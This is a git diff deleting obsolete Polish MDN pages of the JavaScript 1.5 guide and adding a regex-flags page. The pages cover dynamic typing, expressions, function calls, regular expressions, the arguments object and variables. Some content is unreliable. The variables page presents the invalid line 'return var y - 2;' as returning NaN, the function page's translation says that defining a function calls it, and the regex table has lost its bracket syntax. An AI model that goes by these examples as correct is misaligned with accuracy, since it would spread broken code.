JavaScript jest językiem programowania o dynamicznych typach. Oznacza to, że przy deklaracji zmiennej nie musisz określać jej typu. Typy danych w razie potrzeby są automatycznie konwertowane w trakcie wykonywania skryptu. Możemy, przykładowo, zadeklarować zmienną następująco:

-
var odpowiedz = 42
-
-

a później przypisać tej samej zmiennej wartość tekstową, na przykład: -

-
odpowiedz = "Dziękuję za wszystkie ryby..."
-
-

Ponieważ JavaScript posiada dynamiczne typy, przypisanie to nie powoduje komunikatu błędu. -

W wyrażeniach z operatorem + zawierających wartość tekstową oraz numeryczną, JavaScript konwertuje wartości numeryczne na tekst. Przyjrzyjmy się następującym instrukcjom.

-
x = "Odpowiedzią jest " + 42 // zwraca "Odpowiedzią jest 42"
-y = 42 + " jest odpowiedzią" // zwraca "42 jest odpowiedzią"
-
-

W wyrażeniach z innymi operatorami, JavaScript nie konwertuje wartości numerycznej do postaci tekstowej. Na przykład:

-
"37" - 7 // zwraca 30
-"37" + 7 // zwraca 377
-
-


-{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Przegląd JavaScriptu", "Przewodnik po języku JavaScript 1.5:Zmienne") }} -

-
-
-{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Values", "es": "es/Gu\u00eda_JavaScript_1.5/Valores", "fr": "fr/Guide_JavaScript_1.5/Valeurs", "ja": "ja/Core_JavaScript_1.5_Guide/Values", "ko": "ko/Core_JavaScript_1.5_Guide/Values", "zh-cn": "cn/Core_JavaScript_1.5_Guide/Values" } ) }} diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/wyra\305\274enia/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/wyra\305\274enia/index.html" deleted file mode 100644 index b3d0303eba..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/wyra\305\274enia/index.html" +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Wyrażenia -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Wyrażenia -tags: - - JavaScript - - Przewodnik_JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Guide/Expressions_and_Operators -translation_of_original: Web/JavaScript/Guide/Obsolete_Pages/Expressions ---- -

-

-

Wyrażenia

-

Wyrażenia (expression) są ważnym ustawieniem literałów, zmiennych, operatorów oraz wyrażeń które są wykonywane dla pojedynczej wartości; wartością tą może być liczba, znak, lub wartość logiczną.

Konceptualnie, są dwa typy wyrażeń: te, które próbują przypisać wartość do zmiennych, i te, które po prostu posiadają wartość. Na przykład, wyrażenie x=7 jest wyrażeniem, które przydziela 7 wartości x. Wyrażenie to samo sprawdza liczbę siedem, podobnie także zachowuje się wyrażenie użyte w "przydzielonych operatorach". Z drugiej strony, możemy powiedzieć, że wyrażenie proste 3 + 4 staje się siódemką; lecz w taki sposób nie można dokonać przydzielenia. Operatory użyte jak wyrażenia są kierowane prosto jako operatory. -

JavaScript posiada następujące typy wyrażeń: -

- -

{{ PreviousNext("Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Unicode#Wy.C5.9Bwietlanie_czcionek_z_Unicode", "Przewodnik po języku JavaScript 1.5:Operatory") }} -

{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Expressions", "fr": "fr/Guide_JavaScript_1.5/Expressions", "ja": "ja/Core_JavaScript_1.5_Guide/Expressions" } ) }} diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/wywo\305\202anie_funkcji/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/wywo\305\202anie_funkcji/index.html" deleted file mode 100644 index 8a9cd42575..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/wywo\305\202anie_funkcji/index.html" +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: Wywołanie funkcji -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Wywołanie_funkcji -tags: - - JavaScript - - Przewodnik_JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Guide/Functions -translation_of_original: Web/JavaScript/Guide/Obsolete_Pages/Calling_Functions ---- -

 

- -

Wywołanie funkcji

- -

Definiowanie funkcji nie powoduje ich wykonania. Definiowanie funkcji po prostu ją wywołuje oraz określa co dana funkcja ma robić po wywołaniu. Wywołanie funkcji określa właściwą akcje z ustalonymi parametrami. Dla przykładu, gdy chcesz zdefiniować funkcje potęgowania należałoby wywołać ją następująco:

- -
square(5)
-
- -

Powyższe stwierdzenie wywołuje funkcje z argumentem 5. Funkcja zostaje wykonana i zwraca wartość równą 25.

- -

Argumenty funkcji nie ograniczają się wyłącznie do łańcuchów znaków lub liczb. Można również przekazywać całe obiekty. Funkcja show_props (zdefiniowane w obiekty i własności) może posłużyć za przykład funkcji, gdzie argumentem jest obiekt.

- -

Funkcja może być rekurencyjna  tj. wywoływać samą siebie. Przykładem może być funkcja licząca silnię:

- -
function silnia(n) {
-   if ((n == 0) || (n == 1))
-      return 1
-   else {
-      var result = (n * silnia(n-1) );
-      return result
-   }
-}
-
- -

Można policzyć silnię od 1 do 5:

- -
a=silnia(1) // zwraca 1
-b=silnia(2) // zwraca 2
-c=silnia(3) // zwraca 6
-d=silnia(4) // zwraca 24
-e=silnia(5) // zwraca 120
-
- -

{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Calling_Functions", "fr": "fr/Guide_JavaScript_1.5/Appel_de_fonctions", "ja": "ja/Core_JavaScript_1.5_Guide/Calling_Functions" } ) }}

diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/zapisywanie_wzorca_wyra\305\274enia_regularnego/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/zapisywanie_wzorca_wyra\305\274enia_regularnego/index.html" deleted file mode 100644 index 65c13b3816..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/zapisywanie_wzorca_wyra\305\274enia_regularnego/index.html" +++ /dev/null @@ -1,215 +0,0 @@ ---- -title: Zapisywanie wzorca wyrażenia regularnego -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Zapisywanie_wzorca_wyrażenia_regularnego -tags: - - JavaScript - - Przewodnik_JavaScript - - Strony_wymagające_dopracowania - - Wszystkie_kategorie ---- -

Zapisywanie wzorca wyrażenia regularnego

- -

Wzorzec wyrażenia regularnego składa się ze znaków prostych takich jak /abc/ lub kombinacji znaków prostych i specjalnych, jak np. /ab*c/ lub /Rozdział (\d+)\.\d*/. Ostatni przykład zawiera nawiasy, które działają jak urządzenie pamięci. Wzorzec w nawiasie użyty w tym porównaniu jest zapamiętywany w celu umożliwienia ponownego użycia, tak jak zostało to opisane w Using Parenthesized Substring Matches.

- -

 

- -

Używanie prostych wzorców

- -

Proste wzorce tworzone są za pomocą znaków, z których ma składać się poszukiwany wynik. Przykładowo wzorzec /abc/ pasuje do kombinacji znaków w łańcuchach znaków tylko wtedy, gdy znaki 'abc' pojawiają się razem i dokładnie w takiej kolejności. Sukcesem zakończy się poszukiwanie tych znaków w łańcuchu "Cześć, znasz literki abc?" i "Najnowszym modelem samolotu jest slabcraft". W obydwu przypadkach występuje podciąg 'abc'. Nie zostaną za to zwrócone żadne wyniki w łańcuchu "abecadło z nieba spadło", ponieważ nie zawiera on podciągu 'abc'.

- -

Używanie znaków specjalnych

- -

When the search for a match requires something more than a direct match, such as finding one or more b's, or finding white space, the pattern includes special characters. For example, the pattern /ab*c/ matches any character combination in which a single 'a' is followed by zero or more 'b's (* means 0 or more occurrences of the preceding item) and then immediately followed by 'c'. In the string "cbbabbbbcdebc," the pattern matches the substring 'abbbbc'.

- -

Poniższa tabela zawiera kompletny wykaz znaków specjalnych wraz z opisem stosowanych w wyrażeniach regularnych.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ZnakZnaczenie
\jedno z poniższych: -
    -
  • przed znakami rozumianymi zazwyczaj dosłownie oznacza, że znak ten jest znakiem specjalnym i nie jest rozumiany dosłownie. Na przykład /b/ oznacza znak 'b'. Umieszczenie przed 'b' ukośnika lewego (backslash ) powoduje, że znak ten oznacza ogranicznik słowa.
  • -
- -
    -
  • przed znakami specjalnymi oznacza, że znak ten nie jest specjalny i jest rozumiany dosłownie. Na przykład * jest znakiem specjalnym, który oznacza 0 lub więcej wystąpień znaku poprzedzającego; np. /a*/ oznacza 0 lub więcej znaków 'a'. Aby uzyskać znak dosłowny *, należy poprzedzić go ukośnikiem lewym; np. /a\*a/ oznacza 'a*a'.
  • -
-
^Pasuje do początku wpisywanego tekstu. Jeśli flaga multiline (wiele linii) jest ustawiona na true, dodatkowo pasuje do każdej nowej linii. -

Np. /^A/ nie da nam w efekcie 'A' w łańcuchu "an A", ale da nam 'A' w łańcuchu "An A"

-
$Pasuje do końca wprowadzanych danych. Jeśli flaga multiline jest ustawiona na true, to pasuje również do każdego zakończenia linii. Np. /t$/ zwróci 't' z "eat", ale nie z "eater"
*Pasuje jeśli poprzedzający znak wystąpił 0 bądź więcej razy. -

Np. /bo*/ zwróci 'boooo' z "A Ghost booooed" oraz 'b' z "A bird warbled", ale nie zwróci nic z łańcucha "A goat grunted".

-
+Pasuje jeśli poprzedzający znak wystąpił 1 lub więcej razy. Równoważne z {1,} Np. /a+/ dopasuje 'a' z łańcucha "candy" oraz wszystkie literki a w "caaaaaaandy".
?Pasuje jeśli poprzedzający znak wystąpił raz lub nie wystąpił wcale. -

Np. /e?le?/ dopasuje 'el' w łańcuchu "angel" oraz 'le' w "angle".

- -

Jeśli ? wystąpi zaraz za *, +, ? lub {}, to znaki te będą zwracały najkrótsze możliwe dopasowania, w przeciwieństwie do zwykłego zachowania, które możemy określić jako zachłanne (zwraca najdłuższe możliwe dopasowania).

- -

Np. /bo*?/ zwróci 'b' z "A Ghost booooed".

- Znak ten używamy też wlookahead assertions , wyjaśnione w komórkach x(?=y) i x(?!y) w tej tabeli.
.(kropka) pasuje do każdego pojedynczego znaku oprócz znaku nowej linii. Np. /.n/ z łańcucha "nay, an apple is on the tree", dopasuje 'an' i 'on', ale nie 'nay'.
(x)Matches 'x' and remembers the match. These are called capturing parentheses. For example, /(foo)/ matches and remembers 'foo' in "foo bar." The matched substring can be recalled from the resulting array's elements 1, ..., n.
(?:x)Matches 'x' but does not remember the match. These are called non-capturing parentheses. The matched substring can not be recalled from the resulting array's elements 1, ..., n.
x(?=y)Matches 'x' only if 'x' is followed by 'y'. For example, /Jack(?=Sprat)/ matches 'Jack' only if it is followed by 'Sprat'. /Jack(?=Sprat|Frost)/ matches 'Jack' only if it is followed by 'Sprat' or 'Frost'. However, neither 'Sprat' nor 'Frost' is part of the match results.
x(?!y)Matches 'x' only if 'x' is not followed by 'y'. For example, /\d+(?!\.)/ matches a number only if it is not followed by a decimal point. The regular expression /\d+(?!\.)/.exec("3.141") matches '141' but not '3.141'.
x|yoznacza 'x' lub 'y'. Na przykład /green|red/ pasuje do 'green' w "green apple" i do 'red' w "red apple."
{n}gdzie n jest liczbą całkowitą dodatnią. Oznacza dokładnie n wystąpień znaku poprzedzającego. Na przykład /a{2}/ nie pasuje do 'a' w "candy,", za to pasuje do wszystkich znaków 'a' w "caandy," i pierwszych dwóch znaków 'a' w "caaandy."
{n,}Where n is a positive integer. Matches at least n occurrences of the preceding character. For example, /a{2,}/ doesn't match the 'a' in "candy", but matches all of the a's in "caandy" and in "caaaaaaandy."
{n,m}Where n and m are positive integers. Matches at least n and at most m occurrences of the preceding character. For example, /a{1,3}/ matches nothing in "cndy", the 'a' in "candy," the first two a's in "caandy," and the first three a's in "caaaaaaandy" Notice that when matching "caaaaaaandy", the match is "aaa", even though the original string had more a's in it.
xyzzestaw znaków. Pasuje do każdego znaku w nawiasie. Można określić zakres znaków za pomocą łącznika. Na przykład abcd oznacza to samo co a-d. Pasują one do 'b' w "brisket" i do 'c' w "ache".
^xyzA negated or complemented character set. That is, it matches anything that is not enclosed in the brackets. You can specify a range of characters by using a hyphen. For example, ^abc is the same as ^a-c. They initially match 'r' in "brisket" and 'h' in "chop."
\\bMatches a backspace. (Not to be confused with \b.)
\bMatches a word boundary, such as a space or a newline character. (Not to be confused with \\b.) For example, /\bn\w/ matches the 'no' in "noonday";/\wy\b/ matches the 'ly' in "possibly yesterday."
\BMatches a non-word boundary. For example, /\w\Bn/ matches 'on' in "noonday", and /y\B\w/ matches 'ye' in "possibly yesterday."
\cXWhere X is a control character. Matches a control character in a string. For example, /\cM/ matches control-M in a string.
\dMatches a digit character. Equivalent to 0-9. For example, /\d/ or /0-9/ matches '2' in "B2 is the suite number."
\DMatches any non-digit character. Equivalent to ^0-9. For example, /\D/ or /^0-9/ matches 'B' in "B2 is the suite number."
\fMatches a form-feed.
\nMatches a linefeed.
\rMatches a carriage return.
\sMatches a single white space character, including space, tab, form feed, line feed. Equivalent to -

\\f\\n\\r\\t\\v\\u00A0\\u2028\\u2029.

- For example, /\s\w*/ matches ' bar' in "foo bar."
\SMatches a single character other than white space. Equivalent to -

^ \\f\\n\\r\\t\\v\\u00A0\\u2028\\u2029.

- For example, /\S\w*/ matches 'foo' in "foo bar."
\tMatches a tab.
\vMatches a vertical tab.
\wMatches any alphanumeric character including the underscore. Equivalent to A-Za-z0-9_. For example, /\w/ matches 'a' in "apple," '5' in "$5.28," and '3' in "3D."
\WMatches any non-word character. Equivalent to ^A-Za-z0-9_. For example, /\W/ or /^A-Za-z0-9_/ matches '%' in "50%."
\nWhere n is a positive integer. A back reference to the last substring matching the n parenthetical in the regular expression (counting left parentheses). For example, /apple(,)\sorange\1/ matches 'apple, orange,' in "apple, orange, cherry, peach."
\0Matches a NUL character. Do not follow this with another digit.
\xhhMatches the character with the code hh (two hexadecimal digits)
\uhhhhMatches the character with the code hhhh (four hexadecimal digits).
- -

Tabela 4.1: Znaki specjalne w wyrażeniach regularnych.

- -

Używanie nawiasów

- -

Parentheses around any part of the regular expression pattern cause that part of the matched substring to be remembered. Once remembered, the substring can be recalled for other use, as described in Using Parenthesized Substring Matches.

- -

For example, the pattern /Chapter (\d+)\.\d*/ illustrates additional escaped and special characters and indicates that part of the pattern should be remembered. It matches precisely the characters 'Chapter ' followed by one or more numeric characters (\d means any numeric character and + means 1 or more times), followed by a decimal point (which in itself is a special character; preceding the decimal point with \ means the pattern must look for the literal character '.'), followed by any numeric character 0 or more times (\d means numeric character, * means 0 or more times). In addition, parentheses are used to remember the first matched numeric characters.

- -

This pattern is found in "Open Chapter 4.3, paragraph 6" and '4' is remembered. The pattern is not found in "Chapter 3 and 4", because that string does not have a period after the '3'.

- -

To match a substring without causing the matched part to be remembered, within the parentheses preface the pattern with ?:. For example, (?:\d+) matches one or more numeric characters but does not remember the matched characters.

- -


- {{ PreviousNext("Przewodnik_po_języku_JavaScript_1.5:Tworzenie_wyrażenia_regularnego", "Przewodnik_po_języku_JavaScript_1.5:Praca_z_wyrażeniami_regularnymi") }}

diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/zastosowanie_obiektu_arguments/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/zastosowanie_obiektu_arguments/index.html" deleted file mode 100644 index 8422fdf2c0..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/zastosowanie_obiektu_arguments/index.html" +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: Zastosowanie obiektu arguments -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Zastosowanie_obiektu_arguments -tags: - - JavaScript - - Przewodnik_JavaScript - - Wszystkie_kategorie ---- -

 

-

Zastosowanie obiektu arguments

-

Argumenty funkcji będą je utrzymywać je w tablicy. Wewnątrz funkcji, możemy zaadresować lub przydzielić argumenty w następujący sposób:

-
arguments[i]
-
-

gdzie: i jest kolejną liczbą porządkową znajdującą się wewnątrz funkcji, pierwszym argumentem zawsze jest 0 (zero). Więc, pierwszy argument funkcji to arguments{{ mediawiki.external(0) }}. Łączna liczba argumentów jest podana w arguments.length.

-

Używając argumentów tablicy (arguments) możesz nazwać większość funkcji wraz ze swoimi argumentami niż formalna deklaracja akceptującą. Często jeśli nie wiesz jak wiele będzie potrzebnych argumentów funkcji. Używaj arguments.length do określenie aktualnie argumentów do funkcji, potrzebnych do opisania każdego argumentu w tablicy arguments.

-

Na przykład, stanowią one funkcje, które powiążą kilka łańcuchów danych. Tylko oficjalny argument dla funkcji jest łańcuch, którego specyficzne znaki separacji powiążą odpowiednie elementy. Funkcja jest definiowana następująco:

-
function myConcat(separator) {
-   var result="" // initialize list
-   // iterate through arguments
-   for (var i=1; i<arguments.length; i++) {
-      result += arguments[i] + separator
-   }
-   return result
-}
-
-

Możemy podawać jakiekolwiek liczby argumentów funkcji, i to zostanie utworzona lista używająca każdej pozycji zawartej na liście.

-
// zwraca "red, orange, blue, "
-myConcat(", ","red","orange","blue")
-
-// zwraca "elephant; giraffe; lion; cheetah; "
-myConcat("; ","elephant","giraffe","lion", "cheetah")
-
-// zwraca "sage. basil. oregano. pepper. parsley. "
-myConcat(". ","sage","basil","oregano", "pepper", "parsley")
-
-

Zobacz: Funkcja obiektu w dokumentacji języka JavaScript, aby uzyskać więcej informacji.

-

JavaScript 1.3 i wersje wcześniejsze
- Argument tablicy jest właściwością obiektu Function i może on być umieszczony przed nazwą funkcji, tak jak poniżej:

-

functionName.arguments(i)

-

 

diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/zmienne/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/zmienne/index.html" deleted file mode 100644 index 3aad9ebd60..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/zmienne/index.html" +++ /dev/null @@ -1,64 +0,0 @@ ---- -title: Zmienne -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Zmienne -tags: - - JavaScript - - Przewodnik_JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Guide/Grammar_and_types -translation_of_original: Web/JavaScript/Guide/Obsolete_Pages/Variables ---- -

 

-

Trzeba całość wyczyścić i uzgodnić z wersją EN: zmiany 06-2006

-

Zmienne

-

Zmiennych używa się jako symbolicznych nazw dla wartości w Twojej aplikacji. Nazwy zmiennych, nazywane identyfikatorami, podporządkowane są pewnym regułom.

-

Identyfikator JavaScript musi zaczynać się literą, podkreśleniem (_) lub znakiem dolara ($); kolejne znaki mogą być cyframi (0-9). Ponieważ JavaScript rozróżnia duże/małe litery, litery oznaczają znaki od "A"do "Z" (duże litery) oraz znaki od "a" do "z" (małe litery).

-

Poczynając od JavaScript 1.5, w identyfikatorze możesz używać znaków ISO 8859-1 lub Unicode takich jak å czy ą. Jako znaków w identyfikatorze możesz także używać \uXXXX - sekwencji ucieczki Unicode wypisanych na stronie Sekwencje ucieczki do Unicode.

-

Niektóre przykłady prawidłowych nazw to Number_hits, temp99 i _name.

-

Deklaracja zmiennych

-

Możesz zadeklarować zmienne na dwa sposoby:

- -

Ocena zmiennych

-

Zmienna lub element tablicy, którym nie przypisano wartości, mają wartość undefined. Rezultat oceny nieprzydzielonej zmiennej zależny jest od sposobu jej deklaracji:

- -

Poniższy kod demonstruje ocenę nieprzydzielonych zmiennych.

-
function f1() {
-   return y - 2;
-}
-f1() //Powoduje runtime error
-
-function f2() {
-   return var y - 2;
-}
-f2() //zwraca NaN
-
-

Aby określić, czy zmienna posiada wartość, możesz użyć undefined. W poniższym kodzie zmienna input nie posiada przypisanej wartości, więc instrukcja if przyjmuje wartość true.

-
var input;
-if(input === undefined){
-   doThis();
-} else {
-   doThat();
-}
-

Wartość undefined zachowuje sie jak logiczne false w odpowiednim kontekście (boolean). Poniższy kod wykonuje funkcję myFunction, ponieważ element array nie został zdefiniowany:

-
myArray=new Array()
-if (!myArray[0])
-   myFunction()
-

Podczas oceny wartości zmiennej null, wartość null zachowuje się jak 0 w kontekście numerycznym oraz jako false w kontekście logicznym (boolean). Na przykład:

-
var n = null
-n * 32 //zwraca 0
-

Zakres zmiennych

-

Zmienna zadeklarowana poza jakąkolwiek funkcją nazywana jest zmienną globalną (global); staje się ona dostępna dla dowolnego kodu w bieżącym dokumencie. Zmienna zadeklarowana wewnątrz funkcji staje się zmienną lokalną (local) i dostępna będzie jedynie wewnątrz tej funkcji.

-

Użycie var do zadeklarowania zmiennej global jest opcjonalne. Jednakże, musisz użyć var do zadeklarowania zmiennej wewnątrz funkcji.

-

Masz dostęp do zmiennych globalnych zadeklarowanych w jednym oknie lub ramce z innego okna/ramki poprzez podanie nazwy okna/ramki. Na przykład, jeśli zmienna phoneNumber jest zadeklarowana w dokumencie FRAMESET, to można się do niej odwołać z dokumentu potomnego poprzez parent.phoneNumber.

-

Zmienne globalne

-

Zmienne globalne są w istocie własnościami obiektu globalnego. W stronach internetowych obiektem globalnym jest window. -dodać link wewnętrzny Możesz wiec ustawiać i odczytywać zmienne globalne przy użyciu składni window.zmienna. Analogicznie, podając nazwę ramki lub okna, możesz uzyskać dostęp do zmiennych zadeklarowanych w tym oknie lub ramce z innego okna lub ramki. Przykładowo: jeśli zmienna nazwana numerTelefonu została zadeklarowana w dokumencie FRAMESET, możesz odwołać się do tej zmiennej z ramki podrzędnej poprzez parent.numerTelefonu.

-


-{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Wartości", "Przewodnik po języku JavaScript 1.5:Stałe") }}

-


-

- -

{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Variables", "es": "es/Gu\u00eda_JavaScript_1.5/Variables", "fr": "fr/Guide_JavaScript_1.5/Variables", "ja": "ja/Core_JavaScript_1.5_Guide/Variables", "ko": "ko/Core_JavaScript_1.5_Guide/Variables", "zh-cn": "cn/Core_JavaScript_1.5_Guide/\u53d8\u91cf" } ) }}

diff --git a/files/pl/web/javascript/guide/regular_expressions/index.html b/files/pl/web/javascript/guide/regular_expressions/index.html new file mode 100644 index 0000000000..658886f724 --- /dev/null +++ b/files/pl/web/javascript/guide/regular_expressions/index.html @@ -0,0 +1,51 @@ +--- +title: 'Globalne wyszukiwanie, wielkość znaków, wieloliniowe wejście' +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Praca_z_wyrażeniami_regularnymi/Globalne_wyszukiwanie,_wielkość_znaków,_wieloliniowe_wejście +tags: + - JavaScript + - Przewodnik_JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Guide/Regular_Expressions +translation_of_original: >- + Web/JavaScript/Guide/Obsolete_Pages/Working_with_Regular_Expressions/Advanced_Searching_With_Flags +--- +

+

+

Zaawansowane wyszukiwanie za pomocą flag

+

Wyrażenia regularne posiadają cztery opcjonalne flagi, które pozwalają na globalne i niezależne od wielkości znaków wyszukiwanie. Aby wskazać wyszukiwanie globalne, użyj flagi g. Aby wskazać wyszukiwanie nieczułe na wielkość znaków, użyj flagi i. Aby wskazać wyszukiwanie wieloliniowe, użyj flagi m. Aby przeprowadzić "lepkie" wyszukiwanie, które pasuje do początku obecnej pozycji w łańcuchu docelowym, użyj flagi y. Flagi te mogą być użyte oddzielnie lub razem w dowolnej kolejności i są dołączane jako część wyrażenia regularnego. +

{{ Fx_minversion_note(3, "Obsługa flagi y została dodana w Firefoksie 3. Użycie flagi y skutkuje niepowodzeniem, jeśli wynik nie następuje po aktualnej pozycji w łańcuchu docelowym.") }} +

Aby dołączyć flagę do wyrażenia regularnego, użyj składni: +

+
re = /pattern/flags
+re = new RegExp("pattern", ["flags"])
+
+

Zauważ że flagi są integralną częścią wyrażenia regularnego. Nie mogą być one dodane lub usunięte później. +

Na przykład, re = /\w+\s/g tworzy wyrażenie regularne, które szuka jednego lub więcej znaków, po których następuje spacja, szukając tej kombinacji w całym łańcuchu znaków. +

+
<script type="text/javascript">
+ re = /\w+\s/g;
+ str = "fee fi fo fum";
+ myArray = str.match(re);
+ document.write(myArray);
+</script>
+
+

To wyświetli {{ mediawiki.external('\"fee \", \"fi \", \"fo \"') }}. W tym przykładzie możesz zamienić linię: +

+
re = /\w+\s/g;
+
+

z: +

+
re = new RegExp("\\w+\\s", "g");
+
+

otrzymując ten sam rezultat. +

Flaga m jest używana do określenia, że wieloliniowy łańcuch wejściowy powinien być traktowany jako wiele linii. Jeśli użyta jest flaga m, ^ i $ odpowiadają za początek lub koniec z każdej linii w wejściowym łańcuchu znaków zamiast początku i końca całego łańcucha. +

+
+

{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Praca z wyrażeniami regularnymi:Użycie odpowiedniego znaku", "Przewodnik po języku JavaScript 1.5:Praca z wyrażeniami regularnymi:Przykłady wyrażeń regularnych") }} +


+


+

+
+
+{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Working_with_Regular_Expressions/Advanced_Searching_With_Flags", "es": "es/Gu\u00eda_JavaScript_1.5/Trabajar_con_expresiones_regulares/Ejecutar_una_busqueda_global,_discriminar_mayusculas_y_minusculas_y_considerar_entrada_multil\u00ednea", "fr": "fr/Guide_JavaScript_1.5/Travailler_avec_les_expressions_rationnelles/Ex\u00e9cution_de_recherches_globales,_ignorer_la_casse,_utilisation_de_cha\u00eenes_multilignes", "ja": "ja/Core_JavaScript_1.5_Guide/Working_with_Regular_Expressions/Advanced_Searching_With_Flags" } ) }} diff --git "a/files/pl/web/javascript/guide/sk\305\202adnia_i_typy/index.html" "b/files/pl/web/javascript/guide/sk\305\202adnia_i_typy/index.html" deleted file mode 100644 index 98e66063d0..0000000000 --- "a/files/pl/web/javascript/guide/sk\305\202adnia_i_typy/index.html" +++ /dev/null @@ -1,595 +0,0 @@ ---- -title: Składnia i typy -slug: Web/JavaScript/Guide/Składnia_i_typy -tags: - - JavaScript - - Poradnik -translation_of: Web/JavaScript/Guide/Grammar_and_types ---- -
{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Introduction", "Web/JavaScript/Guide/Control_flow_and_error_handling")}}
- -

Ten rozdział porusza temat podstawowych elementów języka, takich jak składnia, deklaracje zmiennych, typy danych oraz literały. 

- -

Podstawy

- -

Składnia JavaScripta zapożycza wiele rozwiązań użytych w Javie, jednak w jej konstrukcji można zauważyć również wpływy języków takich jak Awk, Perl i Python

- -

JavaScript jest językiem, w którym rozróżnialna jest wielkość liter, oraz wspierany jest standard znaków Unicode.

- -

W JavaScripcie instrukcje nazywane są  {{Glossary("Wyrażenie", "wyrażeniami")}} i rozdzielane średnikiem (;). Spacje, tabulatury i znaki nowej linii zaliczają się do grupy tak zwanych znaków białych. Kod źródłowy skryptów napisanych w JavaScripcie skanowany jest przez interpreter od lewej do prawej i konwertowany w sekwencje elementów wejścia, które reprezentowane są przez tokeny, znaki kontrolne, znaki przerwania linii, komentarze i białe znaki. ECMAScript definiuje również zestaw słów kluczowych i literałów oraz zasady automatycznego umieszczania średników (ASI), tak by zakończyć dane wyrażenie, jednakże wykorzystywanie tej zasady wiąże się z efektami ubocznymi, dlatego zaleca się samodzielne umieszczanie średników. Więcej informacji na ten temat znajdziesz w szczegółowym opisie gramatyki języka. 

- -

Komentarze

- -

Składnia komentarzy jest identyczna jak ta używana w języku C++ oraz w wielu innych.

- -
// Komentarz w jednej linii
-
-/* to jest dłuższy,
-   wieloliniowy komentarz
- */
-
-/* Nie możesz jednak /* zagnieżdzać komentarzy */ SyntaxError */
- -

Deklaracje 

- -

W języku JavaScript występują trzy typy deklaracji.

- -
-
{{jsxref("Statements/var", "var")}}
-
Deklaruje zmienną, opcjonalnie inicjalizując ją podaną wartością.
-
{{experimental_inline}} {{jsxref("Statements/let", "let")}}
-
Deklaruje zmienną lokalną, ograniczoną do bloku w którym jest zawarta, opcjonalnie inicjalizując ją podaną wartością. 
-
{{experimental_inline}} {{jsxref("Statements/const", "const")}}
-
Deklaruje zmienną stałą tylko do odczytu. 
-
- -

Zmienne

- -

Możesz używać zmiennych jako symbolicznych nazw oraz wartości w swojej aplikacji. Nazwy zmiennych są wtedy nazywane {{Glossary("Identyfikator", "identyfikatorami")}} i podlegają pewnym regułom. 

- -

W języku JavaScript indentyfikator musi rozpoczynać się od litery, podkreślnika(_) lub symbolu dolara ($). Pozostałe znaki w indetyfikatorze mogą być także cyframi(0-9). Ponieważ JavaScript rozróżnia wielkość liter, znaki jakich możemy użyć jako nazw identyfikatora mogą być zarówno wielkimi (A-Z; uppercase) jak i małymi (a-z; lowercase) literami alfabetu. 

- -

Możesz również użyć ISO 8859-1 lub znaków Unicodu dla liter takich jak å i  ü. Możesz także użyć symboli graficzne definiowanych przez Unicode jako znaków identyfikatora.

- -

Przykładowymi nazwami zmiennych, z których możemy bezpiecznie korzystać są Number_hits, temp99, oraz _name.

- -

Deklarowanie zmiennych

- -

Zmienną możemy deklarować na trzy sposoby:

- - - -

Ewaluacja zmiennych

- -

Zmienna deklarowana przy użyciu var lub let, której nie przypiszemy początkowej wartości przyjmie automatycznie wartość {{jsxref("undefined")}}.

- -

